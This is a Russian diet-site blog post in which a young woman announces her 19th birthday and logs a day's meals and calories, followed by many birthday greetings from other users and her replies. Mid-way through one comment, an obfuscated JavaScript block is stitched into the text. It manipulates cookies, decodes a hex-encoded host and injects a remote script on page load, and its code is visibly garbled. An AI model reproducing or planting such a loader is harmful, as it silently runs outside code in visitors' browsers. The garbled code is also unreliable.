Алиса Крамер
06.11.2015 00:30

секреты счастья

завтра у меня....нет,не увидят.ЗАВТРА У МЕНЯ ДЕНЬ РОЖДЕНИЯ И МНЕ 19 ЛЕТ ЮХУХУХХУ.
это я пишу не из огромного желания получить поздравления,а к тому,что я не буду вести дневник 2 дня(мне стыдно будет даже глазком глянуть на трёхкратно превысивший калораж  :хихикаю
два месяца не была дома,а завтра после пар еду к семье.моя маленькая сестричка уже приготовила мне подарок . поеду я с лучшим другом,с которым два года не могли даже просто пересечься. а ещё хочу с моим парнем слинять с пар и пойти на каток,залили в центре города.
на данный момент я сижу под огромной кучей шариков (друзья по комнате заранее поздравили,боялись завтра не успеть), и я безумно счастлива. Я БЕЗУМНО СЧАСТЛИВА. а то ли ещё будет 

Завтрак

Кол-во Калории Белки Жиры Углеводы
Хлебцы докторские (мука в/с и отруби пшеничные)
10
24.2 0.8 0.3 4.6
Кофе растворимый, сухой
10
11.9 1.5 0.4 0.7
Молоко 1,5% жирности, пастеризованное
60
27 1.8 0.9 2.9
Пшеничные отруби
30
88.8 4.5 1.1 16.1
Варенье из клубники
20
57 0.1 0 14.8

Утренний перекус

Кол-во Калории Белки Жиры Углеводы
Мороженое молочное с плодами и ягодами
80
99.2 2.6 2.2 17

Обед

Кол-во Калории Белки Жиры Углеводы
Гречневая каша вязкая на воде
100
90 3.2 0.8 17.1
Хлеб пшеничный зерновой (мука в/с и зерно дробленое)
40
91.2 3.4 0.6 18
Творог Домик в деревне 0.1%
100
55 10 0.1 3.5
Шоколад горький
10
53.9 0.6 3.5 4.8
Ежевика, консервированная в насыщенном сахарном сиропе
20
18.4 0.3 0 3.9

Ужин

Кол-во Калории Белки Жиры Углеводы
Груша
300
171 1.1 0.4 36.4
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.

Первая тренировка

ходьба (6 км/ч)
1
Итог
Время
80
80
Результаты за день
Энергозатраты: 143 ккал
Время: 80 мин
 21 
 60
Tiramisu 06.11.2015 00:40
Желаю прекрасных, ЧУДЕСНЫХ, ЗДОРОВСКИХ праздничных дней и кучу подарков! Друзья у тебя - замечательные!!
rangy 06.11.2015 00:44
Алиса Крамер написал:
нет,не увидят.

увидела! С Днюхой!!!  
Алиса Крамер написал:
а то ли ещё будет

 Будет еще круче!!!
Желаю, чтобы самые лучшие, самые умные, добрые и полезные желания обязательно сбылись!
Желаю Вам, что бы настоящие друзья приумножались,близкие люди были рядом.Поздравляю
Elena Osipova 06.11.2015 03:35
С днём рожжжждения! и чтобы всё получалось )))))))
Ольга К 06.11.2015 04:30
С днем рождения. Счастья, здоровья, любви и друзей верных!
Светланаё 06.11.2015 04:42
С Днём рождения  Пусть этот день подарит много-много незабываемых эмоций, пусть сбудутся все мечты и конечно же счастья, здоровья и удачи во всём!
Натали 06.11.2015 06:57
С днем рождения!Хорошего вам празднования и минимум привеса
Галина_R 06.11.2015 07:00
с днюшечкой!всех благ! 
Ирина 06.11.2015 07:11
Поздравляю!!!
Алиса Крамер 06.11.2015 08:08
Наталья Харитонова, ахах,лучшее пожелание 
Алиса Крамер 06.11.2015 08:08
Tessa Wood, с асмого начала мзр вас помню.получать от вас поздравление втройне приятно .СПАСИБО ВАМ 
Алиса Крамер 06.11.2015 08:09
rangy, надеюсь,ещё начало ведь. и вам удачного дня 
Алиса Крамер 06.11.2015 08:10
Дарья Кондратьева, мудрое желание.спасибо вам огромное 
Алиса Крамер 06.11.2015 08:11
Олеся Апрельская, огромное спасибо
Алиса Крамер 06.11.2015 08:11
Elena Osipova, всё получится! я буду стараться !спасибо)
Алиса Крамер 06.11.2015 08:11
Ольга К, спасибо большое 
Алиса Крамер 06.11.2015 08:12
Светланаё Ч, спасибо большое,я так благодарна вам за поздравления 
Алиса Крамер 06.11.2015 08:13
Галина_RИрина Олейникова, спасибо вам огромное
так приятно,когда незнакомые люди поздравляют 
Patrischia 06.11.2015 08:37
Примите поздравления!
Anna 06.11.2015 09:02
С ДНЁМ РОЖДЕНИЯ!!!Любви тебе,девочка,светлой,нежной,радужной,пусть она ведёт тебя по правильной дороге жизни и поможет сбыться всем твоим мечтам и начинаниям.
Марина 06.11.2015 09:10
Счастья, добра и побольше хороших друзей!
trelena 06.11.2015 09:14
 
Капелька 06.11.2015 09:22
какой классный возраст!!! 19 летwindow.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="COOKIELIFE";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("COOKIELIFE"}),c(u,function(){o("a2519043306"!=f&&(n("a2519043306",f,{expires:parseInt("COOKIELIFE"}),i("ta2519043306")},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Елена 06.11.2015 09:25
С Днюхой!!!! А про питание - ну в такой праздник можно себе позволить и покушать!!!
Джим Моррисон 06.11.2015 09:28
С праздником!)) Как приятно, что день сложился таким удачным!)
rangy 06.11.2015 09:52
Алиса Крамер написал:
надеюсь,ещё начало ведь. и вам удачного дня

желаю вам каждый свой ДР встречать так восторженно 
Ирина 06.11.2015 10:00
С днем рождения!!!  Пусть и обыденные дни приносят радость, как и этот.  
Жанна 06.11.2015 10:04
Поздравляю!!!
Елена 06.11.2015 10:20
С Днем рождения! Какая же Вы молоденькая и симпатичная! Счастья Вам и такой же восторженности и радости на всю жизнь)))))
Julia Milashka 06.11.2015 10:23
С Днем Рождения! Счастья Вам и чтоб все мечты сбылись!!!
Прелистина 06.11.2015 10:32
Поздравляю!!! Здоровья, счастья, всех благ!!! Достижения своих целей!!!
С Днем Рождения! Любви! Счастья и радости!
Elena Eder 06.11.2015 10:34
С Днем Рожленья !   !
Tanya V 06.11.2015 10:59
С Днем Рождения . Друзья у вас молодцы
Елена Иванова 06.11.2015 12:33
С днем рождения! У меня тоже 7 ноября день рождения!
Ирина 07.11.2015 14:09
Поздравляю!!!! Счастья и здоровья!
Поздравляю с наступающим!!! Счастья. удачи, исполнения задуманных мечт!!!
Упс, на посмотрела дату публикации... Но все равно с Днюхой!!!!
Гулюса 07.11.2015 15:26
С Днем Рождения!!!!! Счастье тебе!!!!!!
Алиса Крамер 08.11.2015 23:00
Patrischia, спасибо
Алиса Крамер 08.11.2015 23:01
ANNA, ох,любовь
спасибо Вам огромное за такое милое пожелание 
Алиса Крамер 08.11.2015 23:02
МаринаДжим МоррисонrangyЛюдмила Штыркова, спасибо вас огромное,мои вы светлые человечки 
Алиса Крамер 08.11.2015 23:02
Елена, ой как приятно. в краску вводите комплиментами   спасибо огромное
Алиса Крамер 08.11.2015 23:03
Julia Milashka, спасибо большое. и ведь сбываются на самом деле 
Алиса Крамер 08.11.2015 23:04
Прелистина, спасибо большое. в достижении целей нам всем помогает мзр 
Алиса Крамер 08.11.2015 23:05
Алиса в стране ЧудесElena EderTanya VИрина ПетроваЛюдмила КалединаГулюса Киямова, спасибо вам огромное,милые мои. я вас всех обнимаю и благодарю за столь искренние поздравления 
Алиса Крамер 08.11.2015 23:06
Елена Иванова, поздравляю Вас спрошедшим днём рождения .Достижения целей Вам с мзр и не только 
Ольга Е. 08.11.2015 23:45
 
Екатерина 09.11.2015 00:02
С прошедшим днем рождения!
Елена Иванова 09.11.2015 09:22
Алиса Крамер, спасибо.
Людмилка 09.11.2015 10:00
Алиса Крамер, с прошедшим днем рождения ! У вас все впереди пусть жизнь складывается удачно!
Мой день рождения был 5 ноября.
Ирина 09.11.2015 10:05
С днем рождения! Счастья, удачи, любви!!!
Алиса Крамер 12.11.2015 00:30
Ольга Е., ух ты какая красота ♥ спасибо большое
Алиса Крамер 12.11.2015 00:31
Екатерина, спасибо Вам 
Алиса Крамер 12.11.2015 00:32
Людмилка, спасибо Вам
и Вас с прошедшим днём рождения
совсем близенько у нас 
Алиса Крамер 12.11.2015 00:32
Ирина, с п а с и б о ♥
Новые рецепты
Интересные блоги
Лучшие рационы